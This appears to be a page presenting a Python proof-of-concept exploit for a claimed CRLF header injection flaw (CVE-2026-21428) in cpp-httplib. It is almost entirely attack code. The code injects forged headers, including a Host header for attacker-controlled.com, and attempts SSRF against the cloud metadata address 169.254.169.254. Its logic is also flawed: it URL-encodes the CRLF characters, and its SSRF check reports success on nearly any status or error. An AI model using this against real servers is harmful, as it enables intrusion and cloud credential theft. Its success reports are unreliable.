CVE-2026-21428 cpp-httplib HTTP头部注入漏洞

# CVE-2026-21428 PoC - CRLF Injection in cpp-httplib # This PoC demonstrates header injection via CRLF characters import requests import urllib.parse def exploit_crlf_injection(target_url): """ Exploit CRLF injection in cpp-httplib < 0.30.0 Inject extra headers by using CRLF in header values """ # Craft malicious header value with CRLF injection # Inject additional headers: X-Injected-Header and Host injected_headers = "\r\nX-Injected-Header: malicious_value\r\nHost: attacker-controlled.com" # URL encode the CRLF characters for HTTP request encoded_payload = urllib.parse.quote(injected_headers) # Target endpoint that uses cpp-httplib target = f"{target_url}/api/vulnerable_endpoint" # Craft the exploit request headers = { 'User-Agent': 'CVE-2026-21428 PoC', 'X-Custom-Header': f'normal_value{encoded_payload}', 'Authorization': 'Bearer valid_token' } try: response = requests.get(target, headers=headers, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Headers: {response.headers}") # Check if injection was successful if 'X-Injected-Header' in str(response.headers): print("[!] VULNERABLE: CRLF injection successful!") return True else: print("[*] Request sent, injection may need server-specific conditions") return False except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return False def ssrf_exploitation(target_url, internal_target): """ SSRF attack via CRLF injection combined with HTTP pipelining """ # SSRF payload using CRLF to manipulate Host header ssrf_payload = f"\r\nHost: {internal_target}" encoded_ssrf = urllib.parse.quote(ssrf_payload) headers = { 'User-Agent': 'CVE-2026-21428 SSRF PoC', 'X-Forwarded-Host': f'legitimate.com{encoded_ssrf}', 'Connection': 'keep-alive' } print(f"[*] Attempting SSRF to internal target: {internal_target}") try: response = requests.get(target_url, headers=headers, timeout=10) if response.status_code in [200, 301, 302, 400, 502, 503]: print(f"[!] SSRF attempt completed - status: {response.status_code}") return True except Exception as e: print(f"[*] SSRF request sent: {e}") return True return False if __name__ == "__main__": TARGET = "http://target-server:8080" INTERNAL_TARGET = "http://169.254.169.254/metadata" print("=" * 60) print("CVE-2026-21428 - cpp-httplib CRLF Injection PoC") print("=" * 60) # Test basic CRLF injection exploit_crlf_injection(TARGET) # Test SSRF exploitation ssrf_exploitation(TARGET, INTERNAL_TARGET)